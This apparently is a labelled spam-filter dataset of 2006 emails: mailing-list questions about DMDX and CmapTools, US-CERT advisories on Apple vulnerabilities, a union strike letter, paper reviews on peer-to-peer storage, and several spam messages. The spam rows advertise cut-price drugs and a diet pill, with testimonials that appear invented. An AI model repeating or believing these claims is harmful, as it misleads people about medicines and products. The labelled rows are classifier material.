Generation Name Service for the Internet,"" also presents a peer-to-peer DNS, coDoNS. coDoNS is built on top of Pastry and Beehive. Because of the Zipf-like query distribution in DNS, Beehive can efficiently and proactively replicate records to optimal number of peers to achieve low latency according to each record's popularity. At the same time, home node of a record knows where all the replicas are, therefore it can efficiently prorogate update to all the replicas. In order to compatible with the legacy DNS, coDoNS uses legacy DNS to resolve queries for records not explicitly inserted by name owners. Using proactive caching, coDoNS achieves a lot lower latency with median lookup latency of 2ms while median lookup latency in legacy DNS is 39ms. There are also other problems in peer-to-peer DNS. Because the domain names are served from other servers instead of the server which owns the responsibility of the domain names, servers have less incentive to serve the content. ",0,0 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 02 Mar 2006 15:11:37 -0500","US-CERT Cyber Security Bulletin SB06-061 -- Summary of Security Items from February 23 through March 1, 2006 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from February 23 through March 1, 2006 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from February 23 through March 1, 2006, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRAdQ030pj593lg50AQLL3wgAm72l6cP7wJaK9aHIwcDXopln2xlqjgn/ uhZvQG9VejQJuiePw1sTV+qbpXTqNbJyN8ijE+85pyFQZxiWrIUdPSoPIo3yr6Ve bU0/huqshBlasXSjK3yFesX8U8I1GV4K74xbVYRi5ZtrahoZQg8MphFcbBOdffny 1S1GDZPeRw6i7cleQxxYyOYrEgdp7YUO2K+BvMtWF/6hxhN3Od0QAnlfshBctqdU cLX3kmQr2DSJp0W9w/Its48N+MAbTnugseeNe/hAl540lzA8ygKGuYYE99Llen4H ML36+fubzGJuS/QynvQNiL/sTBz+cQTOQbSGdirfawmQMTvGCc9N8A== =ZZ2e -----END PGP SIGNATURE-----",0,1 """Quartz R. Aisled"" ",James ,"Thu, 02 Mar 2006 07:53:48 -0400",The Ultimate Online Pharmaceuticals,"Vlipagra $3.3 Levitnra $3.3 Cialpis $3.7 Imitrkex $16.4 Fflomax $2.2 Ultrnam $0.78 Vionxx $4.75 Amhblem $2.2 VaIixum - $0.97 Xanpax $1.09 Somma $3 Merisdia $2.2 visit our website http://coinebeut.com/?UHJENDU1NaQHVUXx1XVA== ___ Best regards, Online Pharmaceuticals ghfgdrtpu U1NaQHVUXx1XVA== All roads lead to Rome. April and May are the key to the year. Small is beautiful. ",1,1 ACMBulletin ,acm-bulletin@ACM.ORG,"Thu, 02 Mar 2006 11:26:48 -0500",ACM Announces 2005 A.M. Turing Award Winner,"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ACM Bulletin - March 2, 2006 Today's Topic: ACM Announces 2005 A.M. Turing Award Winner ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ACM has named Peter Naur the winner of the 2005 A.M. Turing Award, recognizing his pioneering work on defining the Algol 60 programming language. Algol 60 is the model for many later programming languages, including those that are indispensable software engineering tools today. The Turing Award, widely considered the ""Nobel Prize of Computing,"" is named for British mathematician Alan M. Turing. First awarded in 1966, it carries a $100,000 prize, with financial support provided by Intel Corporation. Learn more about this year's A.M. Turing Award winner at: http://www.acm.org/2005_turing_award Dr. Naur was instrumental in establishing software engineering as a discipline. In 1960, Dr. Naur was editor of the hugely influential ""Report on the Algorithmic Language Algol 60."" He is recognized for the report's elegance, uniformity and coherence, and credited as an important contributor to the language's power and simplicity. The report made pioneering use of what later became known as Backus-Naur Form (BNF) to define the syntax of programs. BNF is now the standard way to define a computer language. Dr. Naur is also cited for his contribution to compiler design and to the art and practice of computer programming. ACM will present the Turing Award at the annual ACM Awards Banquet on May 20, 2006, in San Francisco, CA. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The ACM Bulletin Service provides ACM members with email notification of important association news and activities. Should you wish to be excluded from future issues of the acm-bulletin, please enter your email address dwilkins@SUNRISE.CS.OLEMISS.EDU at http://www.acm.org/acm_bulletin and we'll remove you. Association for Computing Machinery Advancing Computing as a Science and Profession (c) 2006 ACM, Inc. All rights reserved. ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 02 Mar 2006 14:44:11 -0700",[DMDX] Re: fixed inter-onset interval for wavs of various lengths,"At 05:24 PM 3/2/2006 +0000, you wrote: >Jonathan, >Thank you for your speedy reply and helpful suggestions: I've tried to >incorporate them and have done a few rough & ready measurements of outputs >and RTs. I have a few questions. > >I'm aiming to have a fixed interval of 2600ms from wav onset to wav onset >and to record RTs from wav onset. > >Using the parameters below and three wav files of various lengths, it >seems that the interval between an item *offset* and the following item's >onset is ~2600 ms. For our purposes, I need the wav onset- wav onset >interval to be 2600 ms. You can always read the help, you'll probably find that I needed to add in those frames. >Also, the duration of the interval seems to depend on whether a response >is made before or after the wav offset -- i.e. if the response occurs >after wav offset, then the RT is recorded and the interval is ~2600 >ms. So right interval, albeit not intended starting point. However, if >the button press occurs before wav offset, then no RT recorded and the >interval increases to ~3000 ms. You will of course be setting the timeout less than the duration of the display, or so. > Of course, we hope that the participants will wait until wav offset to > respond, but we can't depend on it and we do want to keep the inter-onset > interval constant. So I need to measure RTs from wav onset and I wonder > if there's a way to avoid possible interaction between when response > occurs and the inter wav onset interval? will more than likely fix it. >Finally, a general question ... it's tick talk time: Is it generally best >to round *down* to the nearest tick - e.g. in this instance, for 2600 ms / >16.59 ms per tick = 156.7 so 156 or should I add in another? Depends what you want the time for, in setting a timeout you want to round down. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The only difference between a rut and a grave is the depth.",0,0 David Beraha ,coe-l@ihmc.us,"Thu, 02 Mar 2006 21:45:09 +0100",COE Installation Questions,"Hello, thanks Tom for the reply on the CMapTools mailing list. I have tried the steps on the COEStartup.htm (I overlooked that file somehow, sorry), and got the templates going, but the procedure was a little bit different. First, the primary view is not as the one depicted in the above htm-file: it is the same as on the CmapTools, i.e. the left hand tabs read ""Cmaps in My Computer"" and ""Share CMaps in Places"" instead of ""Ontologies in My Cmputer"" and ""Shared Ontologies in Places"" (by the way, I have checked the version number on the startup screen, it reads correctly ""Version 4.01 COE""). Also, when trying to set up the Place Preferences, there is no edit box for ""places that belong to"" (instead, there is a fixed text: ""places that belong to the ""cmapdp.public"" group). Anyway, adding the place IHMC Public Ontologies (in the ""Shared CMaps ..."" tab with the ""Add Place"") did the trick, and the templates are there now as described in the Overview.pdf. I was just wondering about these differences; are they due just to the new version 4.01, or am I still missing something? Best thanks again for the quick help, eager to get into Ontology building, David ",0,0 Yvonne Aburrow ,aut-discussion@bath.ac.uk,"Thu, 02 Mar 2006 16:52:28 +0000","Message to AUT members from Sally Hunt, AUT general secretary (fwd)","Hi all A few people asked if there was any information they could give to their students about the strike, it is at: Below is a letter from Sally Hunt with details of what action short of a strike consists of. This dispute is really crucial, so please support it to the full. Also we need more volunteers for the picket line, I think, so if people could email m.j.carley@bath.ac.uk with their availability that would be great. I did it last time, it was great fun! Go on, you know you want to... ------------ Forwarded Message ------------ Date: 02 March 2006 12:29 +0000 From: AUT head office To: Y Aburrow Subject: Urgent message to AUT members from Sally Hunt, AUT general secretary Dear colleague, Most of you will know by now that the union is asking you to take strike action on Tuesday 7 March, and to begin action short of a strike on Wednesday 8 March. This instruction applies to members who are covered by the notice here: http://www.aut.org.uk/payaction I sincerely wish that we did not have to take this action to secure better pay. The employers have been saying for years that they would like to pay you more if only funding was higher. Yet, now that there is more money they are refusing to make you any offer at all. I know that many individual vice chancellors are unhappy with the public stance of the national employers. They tell me that they recognise the need to invest in staff and want UCEA to make a good offer. I hope they now get off the fence and tell UCEA to start negotiating before this damaging dispute deepens. Following the overwhelming vote by you to support industrial action the employers have, at last, agreed to further talks but not for another month! They also say that they may be able to make an offer shortly after that. This is progress of sorts after four months of procrastination but I have told the employers today that we need talks NOW not in a month's time, and that they need to finally come up with a pay offer that reflects your worth. See our press release here: http://www.aut.org.uk/index.cfm?articleid46 The employers also need to focus more on resolving the dispute, and less on seeking to intimidate hard working academic and related staff members. I have heard from many members for example that the employers are now telling staff that if they die when they are on strike their next of kin will not receive some pension benefits. Hardly an indication of the value they place on long serving staff is it? Whatever tactics the employers try, you will have the full support of your union. My message to you is a simple one. How well we do at the negotiating table will depend on how strongly you support the action and in particular the boycott of assessment. I know this will be difficult, and that you will come under severe pressure but we have to make the boycott effective if we are to deliver better pay. Incidentally, I wish to reiterate that you should not mark or set assessed or examined work. Our legal advice is that if you do mark scripts and then withhold them, then they become the property of the university and you may be asked to surrender them thereby undermining the industrial action. Please follow the guidelines set out at http://www.aut.org.uk/index.cfm?articleid23 in order to protect both yourself and the union’s position. Please also get involved in this campaign. Help your local association by lending a hand with picketing, handing out leaflets and speaking to your students. Support your union. Your future pay and pension will depend on it. Thank you for taking the time to read this letter. Sally Hunt AUT general secretary --- About this e-mail: Very occasionally the AUT sends important messages such as this direct to all members. We are currently e-mailing you at: y.aburrow@bath.ac.uk. If this address needs updating, please let us know by going to: http://www.aut.org.uk/index.cfm?articleidB9 Unsubscribe: We would very much wish for you to continue receiving these messages. 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The date for this is March 23. If you're going away spring break, this means you'll probably want to do some serious thinking about your project before leaving for spring break. I've also updated the other due dates on the web page. Bill ",0,0 """Virginia M. Holmes"" ",DMDX@psy1.psych.arizona.edu,"Fri, 03 Mar 2006 18:05:15 +1100",[DMDX] Special characters,"Dear all, I can't make most of the Arial Unicode characters appear in a simple one-trial decision task. In fact, some (Chinese & Japanese) wouldn't go into the email and came out looking like something else or nothing. I can attach the original if necessary. But the first few lines are enough to illustrate the problem. If I run this (on three different computers with either Windows 2000 or XP), only a few of the characters appear, the others become question marks. I seem to get more if I save the file in word pad rather than Word. Interestingly, occasionally which characters appear changes. Does anybody know how to make special characters appear - all the time? Many thanks, Virginia Holmes $ ! Each tick is 16.8 ms ; 0 ""Press the spacebar for practice items""; $ 99 %45 / + * "" ঌ এ ঔ ঘ "" ; 99 %45 / + * "" র শ ক চ "" ; 99 %45 / + * "" व ह ऱ "" ; 99 %45 / + * "" ٿ ٺ ٷ "" ; 99 %45 / + * "" W G _ "" ; 99 %45 / + * "" a M "" ; 99 %45 / + * ""belt"" ; 99 %45 / + * "" "" ; 99 %45 / + * "" M a z "" ; 99 %45 / + * "" "" ; $ 0 ""That's all for this part, thank you.""; $ Assoc. Prof. V. M. Holmes Department of Psychology University of Melbourne Parkville 3010 Australia Tel: (03) 8344.6368 Facs: (03) 9347.6618",0,0 ,,,definition of Cmap collaboration effort,"Hi all, I am investigating the usage of cmaptools for our IT management department as we need to consolidate our knowledge and insight into 1 shared system for better distribution. My main unclarity at the moment is the approach to take in defining the levels of information: e.g. documenting an interface can be done on different levels of depth, depending on the audience. I need my cmaps to be readable by both novice and expert users and would like to build a 'layered' knowledge model. On the technical cmaptools-level, I have no issues (yet). I can build the layered structure etc. but can anyone show me examples or approaches on how to define the layers? Does anyone have a ""best practice"" on the matter? Any documentation, url's, ... available for me to check and learn? I appreciate the feedback! cheers, Erwin Vervacke",0,0 """Worry R. Litigiousness"" ",Bait ,"Fri, 03 Mar 2006 00:09:01 -0700",Be leaner and slimmer by next week!,"Hoodia 920+ -- The newest and most exciting fat loss product available - As seen on Oprah! http://www.roptres.com Real testimonials: ""I was originally amazed that the first two pills I took of Hoodia 920+, almost immediately took my cravings away. Now 4 weeks later, 3 belt holes later, I have become an advocate for this awesomely powerful, natural supplement!"" Amelia B., Las Vegas ""I tried Hoodia 920+ after visiting your website, and I lost a few pounds without doing anything else. I was so amazed I decided to start exercising and getting outside more and I even starting eating better. Now I don't even look like the same man. Friends I haven't seen for more than a year don't even recognize me. The change is that dramatic! Thank you �. Hoodia 920+ really works!"" Dave Klark, Bellevue WA Read more testimonals here! http://www.bavator.com/hd/?90&nHi46Twe5765GjO718iu00Bfs5W Remove you e-mail http://www.bavator.com/u.php ",1,1 Sally Butterfield ,DMDX@psy1.psych.arizona.edu,"Fri, 03 Mar 2006 15:09:51 +0000",[DMDX] Re: fixed inter-onset interval for wavs of various lengths,"Thank you, Jonathan, for your help again. Although I had tried the parameter at one stage, I had confounded it by an incorrect setting of another parameter. Thanks to your advice, the script now works as needed. In case it might be useful to anyone else, a summary and example follows: Task: Auditory lexical decision with a fixed interval between onsets of wav files and wav files of various lengths. ! Refresh rate = 16.59ms. ! Inter-onset interval of 2600 ms set by frame duration of %140 ticks + delay of 15 ticks between items + 1 tick for empty frame ""/ ;"". ! Inter-onset interval constant regardless of participants response. ! Minimum value set to be greater than longest ""Preparation time"" in ms diagnostics output. ! RTs measured from the onset of the wav files by inclusion of . ! RT time out 2300 ms. Value of required to be less than duration of frame. ! In example, the wavs ""1500ms"" and ""500ms"" would be words and wav ""1000ms"" would be a nonword ! For illustration, the items are not yet scrambled 0 ""Press spacebar to begin""/; 9999 ""Fingers on the buttons please""//; +101 * ""1500ms"" %140 /; -201 * ""1000ms"" %140 /; +102 * ""500ms"" %140 /; +103 * ""1500ms"" %140 /; -202 * ""1000ms"" %140 /; +104 * ""500ms"" %140 /; +105 * ""1500ms"" %140 /; 0 / ""The End. Thank you!""/; Your help is much appreciated, Sally Butterfield At 21:44 02/03/2006, you wrote: >At 05:24 PM 3/2/2006 +0000, you wrote: >>Jonathan, >>Thank you for your speedy reply and helpful suggestions: I've tried to >>incorporate them and have done a few rough & ready measurements of >>outputs and RTs. I have a few questions. >> >>I'm aiming to have a fixed interval of 2600ms from wav onset to wav >>onset and to record RTs from wav onset. >> >>Using the parameters below and three wav files of various lengths, it >>seems that the interval between an item *offset* and the following item's >>onset is ~2600 ms. For our purposes, I need the wav onset- wav onset >>interval to be 2600 ms. > > You can always read the help, you'll probably find that I needed to add > in those frames. > > >>Also, the duration of the interval seems to depend on whether a response >>is made before or after the wav offset -- i.e. if the response occurs >>after wav offset, then the RT is recorded and the interval is ~2600 >>ms. So right interval, albeit not intended starting point. However, if >>the button press occurs before wav offset, then no RT recorded and the >>interval increases to ~3000 ms. > > You will of course be setting the timeout less than the duration of the > display, or so. > >> Of course, we hope that the participants will wait until wav offset to >> respond, but we can't depend on it and we do want to keep the >> inter-onset interval constant. So I need to measure RTs from wav onset >> and I wonder if there's a way to avoid possible interaction between when >> response occurs and the inter wav onset interval? > > will more than likely fix it. > > >>Finally, a general question ... it's tick talk time: Is it generally >>best to round *down* to the nearest tick - e.g. in this instance, for >>2600 ms / 16.59 ms per tick = 156.7 so 156 or should I add in another? > > Depends what you want the time for, in setting a timeout you want to > round down. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The only difference between a rut and a grave is the depth. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >====================================================================",0,1 """LeBoeuf, Janice (OMAFRA)"" ",Great Lakes Vegetable Working Group ,"Fri, 03 Mar 2006 09:50:40 -0500",Anyone working on tomato shoulder/weather check or energy from veg waste?,"Good morning! Is anyone out there planning any work on tomato shoulder/weather check disorder in the coming year? Ontario's new fresh veg organization, the Fresh Vegetable Growers of Ontario, might look at funding some work on this. They wondered if anyone else is planning work on it. We do have the reports from Snapp, Goldy, et al on their work in Michigan. Great information! They were also wondering if anyone is working with veg waste disposal by anaerobic digestion (to produce methane/energy) or compost (for compost or also to produce heat for greenhouses, buildings)? Janice Please update your records with my new e-mail address (janice.leboeuf@omafra.gov.on.ca ). Janice LeBoeuf, Vegetable Crop Specialist Ontario Ministry of Agriculture & Food Box 400, 120 Main St. E. Ridgetown, ON N0P 2C0 Ph: (519) 674-1699 Fax: (519) 674-1564 New e-mail address: janice.leboeuf@omafra.gov.on.ca New vegetable web page addresses: http://www.omafra.gov.on.ca/english/crops/hort/vegetable.html http://www.omafra.gov.on.ca/french/crops/hort/vegetable.html OMAF Agricultural Information Contact Centre: 1-877-424-1300",0,1 Shane Lindsay ,DMDX@psy1.psych.arizona.edu,"Fri, 03 Mar 2006 17:22:51 +0000",[DMDX] Stop and clear video after a response,I would like DMDX to stop the playing of a video file once a subject has responded. Using didn't seem to achieve this. Is it possible? Thanks Shane,0,0 ,,,,"[141.217.1.231])
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Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 03 Mar 2006 12:01:56 -0700",[DMDX] Re: Stop and clear video after a response,"At 05:22 PM 3/3/2006 +0000, you wrote: >I would like DMDX to stop the playing of a video file once a subject has >responded. Using didn't seem to achieve this. Is it possible? No. There's an abort command that stops video but it's tied to a keystroke and is for an experimenter to abort a trial. It's possible but I don't add features for free. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The only difference between a rut and a grave is the depth.",0,0 US-CERT Alerts ,alerts@us-cert.gov,"Fri, 03 Mar 2006 15:08:10 -0500",US-CERT Cyber Security Alert SA06-062A -- Apple Mac Products are Affected by Multiple Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Cyber Security Alert SA06-062A Apple Mac Products are Affected by Multiple Vulnerabilities Original release date: March 3, 2006 Last revised: -- Source: US-CERT Systems Affected * Apple Mac OS X version 10.3.9 (Panther) and version 10.4.5 (Tiger) * Apple Safari web browser * Apple Mac OS X Server version 10.3.9 and version 10.4.5 Previous versions of Mac OS X may also be affected. Overview Mac OS X, Safari web browser, and other products are affected by multiple vulnerabilites. Apple has released Security Update 2006-001 to address these vulnerabilities, the most serious of which may allow a remote attacker to place and run malicious code on your computer. Solution Install the Update Install the update through Apple Update. In addition, you can install the update as described in Apple Security Update 2006-001. Description Mac OS X, Safari web browser and other products are affected by multiple vulnerabilities. Some of these vulnerabilities could allow an attacker to run malicious programs on your computer. For more technical information, see US-CERT Technical Alert TA06-062A. References * Apple Security Update 2006-001 - * Mac OS X: Updating your software - * US-CERT Technical Cyber Security Alert TA06-053A - * US-CERT Vulnerability Note VU#999708 - * US-CERT Vulnerability Note VU#351217 - * US-CERT Vulnerability Note VU#176732 - * US-CERT Technical Cyber Security Alert TA06-053A - * Securing Your Web Browser - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""SA06-062A Feedback VU#351217"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History Mar 3, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRAiaEn0pj593lg50AQIdZwf+NhqPqXzs8ZgbCbMNBrASQ4IhvnaVMJfC F1oTPbHv2Z6l9owkC2gwc2xbziMT5RGJ+eusJz1IUUZoAQajqYE/8qRfdKavzx93 V8j/ypubogct1zTDhXBbIUCPd7MeSmVJ60NGRne03OG/J2QVqflC7Q6wyv5eezpf cWlWQvQVc0BuXwGUpMNu2Rovf72LbRvQr45ATgVPPEX7h7R2apQE0fn1/g5KTKeN JLORXEBotWcfepQuq2OFikZ2YwctB23eDA8mZGAKMktDW6HS89ISEfTIMBS5WxgJ 0N7VbCSBN51GykenhnDw/jWiOGjAjups1eVHitW4UHYxMWePsdkaxQ== =8WrJ -----END PGP SIGNATURE-----",0,1 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Fri, 03 Mar 2006 13:55:56 -0600",Presentation on the AMD Opteron,"CS352-ers, I wanted to let you know about an interesting upcoming presentation: AMD Opteron Microarchitecture March 28, 2006 - 2-3pm ACES 2.402 The speaker is Michael Clark. Mike is an AMD Fellow and one of the key designers of the current (and future) line of AMD microprocessors. You should take the opportunity to see a talk like this. While you may not understand everything, you should be prepared to understand the basic ideas of the microarchitecture. Cheers, Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Fri, 03 Mar 2006 15:01:34 -0500",US-CERT Technical Cyber Security Alert TA06-062A -- Apple Mac Products are Affected by Multiple Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-062A Apple Mac Products are Affected by Multiple Vulnerabilities Original release date: March 3, 2006 Last revised: -- Source: US-CERT Systems Affected * Apple Mac OS X version 10.3.9 (Panther) and version 10.4.5 (Tiger) * Apple Mac OS X Server version 10.3.9 and version 10.4.5 * Apple Safari web browser Previous versions of Mac OS X may also be affected.Please see Apple Security Update 2006-001 for further information. Overview Apple has released Security Update 2006-001 to correct multiple vulnerabilities affecting Mac OS X, Mac OS X Server, Safari web browser, and other products. The most serious of these vulnerabilities may allow a remote attacker to execute arbitrary code. Impacts of other vulnerabilities include bypassing security restrictions and denial of service. I. Description Apple Security Update 2006-001 resolves a number of vulnerabilities affecting Mac OS X, OS X Server, Safari web browser, and other products. Further details are available in the following Vulnerability Notes: VU#999708 - Apple Safari automatically executes arbitrary shell commands or code Apple Safari fails to properly determine file safety, allowing a remote unauthenticated attacker to execute arbitrary commands or code. (CVE-2006-0848) VU#351217 - Apple Safari WebKit component vulnerable to buffer overflow Apple Safari WebKit component is vulnerable to buffer overflow. This vulnerability may allow are remote attacker to execute arbitrary code or cause a denial-of-service condition. (CVE-2005-4504) VU#176732 - Apple Safari vulnerable to buffer overflow Apple Safari is vulnerable to a stack-based buffer overflow. This vulnerability may allow a remote attacker to execute arbitrary code on a vulnerable system. (CVE-2006-0387) Please note that Apple Security Update 2006-001 addresses additional vulnerabilities not described above. As further information becomes available, we will publish individual Vulnerability Notes. In addition, more information about VU#999708 is available in US-CERT Technical Cyber Security Alert TA06-053A. II. Impact The impacts of these vulnerabilities vary. For information about specific impacts, please see the Vulnerability Notes. Potential consequences include remote execution of arbitrary code or commands, bypass of security restrictions, and denial of service. III. Solution Install an update Install the update as described in Apple Security Update 2006-001. In addition, this update is available via Apple Update. Appendix A. References * US-CERT Vulnerability Note VU#999708 - * US-CERT Vulnerability Note VU#351217 - * US-CERT Vulnerability Note VU#176732 - * US-CERT Technical Cyber Security Alert TA06-053A - * Securing Your Web Browser - * Apple Security Update 2006-001 - * Mac OS X: Updating your software - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""TA06-062A Feedback VU#351217"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History March 3, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRAiYnH0pj593lg50AQIdzggAxPbhEKlYyJUdTNqDBGSI+GAQ2oRY9WFx i+2yy5B34IvwyWt04Wb9PxgbCeWHbw9zc8X5xRPZEA/nVQWX/nnz20Tnap8ZRZUC bqlzo9pz2P+TOm3SBKUlZ+Rl0xTUTBJus78oiczzLu/Fy1oB8obC3qfwNDdrykXc i2MupUdRbZ5azrzDmzJGZktpVwJjM9UbXypbwsa1vg5+pAcRf4N0939kcjBML6LH B1jKz3PF0DLX/THj0sAq5PwiE82jCtop1hpD8zVWJOLGX1lbxhcHVLbiFiKaaF7u lKvIAf6ec9h+MQDwAnuA2uaYaQSwofCiWdOPAlueMzq23Ultlinz4g== =5Ooe -----END PGP SIGNATURE-----",0,1 play4u@qualfienders.com,undisclosed-recipients:;,"Fri, 03 Mar 2006 02:43:52 -0500",These are the eBay tools,"� Thinkstock LLC ©2005 MyEpro  All Rights Reserved This ad is in full compliance with the U.S. Federal-Can-Spam-Act of 2003 If you no longer wish to receive email from this advertiser, simply go-here or write to: MyEpro 7135 South Highland Drive, Salt Lake City, UT 84121 Do Not Send me this any more",1,1 cm2036@columbia.edu,economicsbb@columbia.edu,"Fri, 03 Mar 2006 18:33:50 -0500","Summer School Announcement - INEQUALITY, POVERTY AND DEVELOPMENT","Summer School Announcement ""INEQUALITY, POVERTY AND DEVELOPMENT: THE ROLE OF MARKETS AND INSTITUTIONS"" July 2 - July 8, 2006 Alba di Canazei (Dolomites), Trento - Italy Ph.D. Program in Economics and Finance Department of Economics University of Verona, Italy http://dse.univr.it/ssef2006/ The Summer School is intended for Ph.D. students and junior faculty members. Participants will have the opportunity to discuss their own research ideas with leading researchers in a relaxed and open atmosphere. Enrollment will be limited to 30 fellows, all of whom will be in residence. Selected proposals by Ph.D. students will be presented during the day. We encourage Ph.D. students to submit complete papers or detailed research proposals raising the conceptual and methodological problems they face and that they would like to discuss. Attendants will benefit from the overall discussion. Presentations by non-Ph.D. students might also be admitted. LECTURERS: Prof. Pranab Bardhan (University of California, Berkeley) Prof. Dilip Mookherjee (Boston University) TOPICS: 1. Credit and other factor market imperfections, interlinked contracts; 2. Dynamics of inequality and human capital accumulation; 3. Effects of trade liberalization on inequality, poverty, and the environment; 4. Fiscal decentralization and corruption. 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Two major drawbacks of these systems were that their load balancing assumptions began to break down in the face of varying data sizes, and that persistence was guaranteed only by the data's source continually re-publishing the data. ie: If a node failed, all data stored on that node would be lost. As data objects were usually small, this was simple. This week's papers explore how to expand on this DHT concept to store whole files. First, we have PAST. PAST is based off of the popular Pastry DHT framework, and takes a very care-free approach to storage. The entire file is stored as if it were the value being stored in the DHT. The k nodes nearest to the host node are used for replication. As node ID locality is uncorrelated with node spacial locality, data loss becomes unlikely (as long as k is sufficiently large). However, since the whole file must be stored at this node (and its k nearest neighbors), a region of the node space may be clobbered in the unlucky case that several large files are stored with overlapping replication regions. PAST allows a limited amount of indirection in this replication storage; if a node is unable to store the data it will try to forward it to one of its nearby nodes. Even here however, the overlapping regions case will cause difficulty. CFS takes a more general approach, attempting to model their filesystem on a more traditional filesystem. Files are broken up into blocks and these blocks are stored in the database. A block is identified by a hash of its contents, much like in a previous project by a related group called FFS. Inodes store these hashes as pointers to the blocks, and are in turn treated as normal blocks; directories store inode hashes as pointers. This chain continues all the way up to the root block which is signed by a PKI style key (who's hash is the root block's key). As there is a direct correlation between the block contents and the block's key, the filesystem's consistency may be maintained. Every PKI entity using the system may keep its own filesystem in this way, and only the owner entity may change its contents. This changing process is one of the most serious weaknesses of CFS, as even the smallest change requires updates to every block representing a directory all the way from the root block to the file itself. Similarly, file reads require an extraordinary amount of system traffic. They use an 8 megabyte file with an 8k block size as an example. In this example, it would take on the order of 100 separate lookups to obtain the file contents, as opposed to just 1 in PAST. One thing both papers gloss over is the security of the underlying system. Both Chord and Pastry are subject to a large number of attacks. PAST attempts to avoid this issue via an implicit trust in nodes that have access to a smart card. While this does remove an attacker's ability to supply false data, it doesn't close any number of denial of service attacks. Furthermore, it somewhat defeats the distributed nature of the system. If only authority signed data is implicitly trusted, then why bother re-inventing the wheel. Lastly, PAST's smart card is supposed to keep track of quotas. The way it does this is somewhat mysterious, as it can not be assured that space revocation requests (when a node informs the card that it no longer needs space it has been allocated) will be transmitted to the network. Timeouts may be used, but they are messy in a number of ways. CFS ensures file validity by using a file-tree, and ensuring that the root node is always signed by its owner. Assuming the public key of an entity may be trusted, everything in the filesystem signed by that key should also be trusted. The potential for denial of service attacks, both in the realm of negative responses, and the realm of overwhelming the network with data or requests is not addressed either. - Oliver Kennedy There cannot be a crisis next week. My schedule is already full. -- Henry Kissinger -Oliver Kennedy Computer science isn't about computers any more than astronomy is about telescopes. -- Dijkstra ",0,0 Virginia Holmes ,DMDX@psy1.psych.arizona.edu,"Tue, 07 Mar 2006 11:34:13 +1100",[DMDX] Special characters again,"Dear all, I realised that the script I sent wasn't very helpful. Here's the problem in words. I have an rt file in which i ask for a series of special characters from Arial Unicode to be presented instead of normal fonts. They show up in word and in wordpad, but then many of them become ???? in the task itself. The character set is there to be drawn upon, but for some reason DMDX can't do it. Does anybody have any clues as to how to fix this? This will save me many hours, as one alternative is to make them into image files and call them up in this form. I'm having trouble making the timing work with a test run of this anyway. Virginia Holmes A. Prof. V. M. Holmes Department of Psychology University of Melbourne Parkville, Vic, 3010, Australia phone: 61 3 8344 6368 facs: 61 3 9347 6618 Staff website: psych.unimelb.edu.au/people/staff/HolmesV.html Laboratory website: psych.unimelb.edu.au/research/psycholinguistics/index.html ",0,0 Virginia Holmes ,DMDX@psy1.psych.arizona.edu,"Tue, 07 Mar 2006 11:51:39 +1100",[DMDX] Special characters - I meant to type RTF (not rt) file," A. Prof. V. M. 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The basic principle behind Samsara is the use of incompressible storage claims, essentially manufactured bits of data for use in an ""I'll store your data if you'll store mine"" scheme. Enhancements of the scheme allow forwarding of claims to balance storage requirements across the network. However, a node remains responsible for claims it forwards, so forwarding is used as a last resort. The authors implement the system on top of a Pastry network for testing purposes. Claims are generated using the sha1 hash of a passphrase known only by the host node concatenated with an on disc location. Nodes periodically query nodes for whom they are storing data for claims, if a response is invalid, that node is free to drop the stored data. A probabilistic punishment scheme is used to forgive nodes for their transient failures. A 5000 node network is simulated, showing good performance from the system. However, there are some limitations. The first is that without claim forwarding, the global storage requirement for the system is doubled. Also, the scheme is only really appropriate for a distributed file storage/replication scheme; pushing data. An adaptation 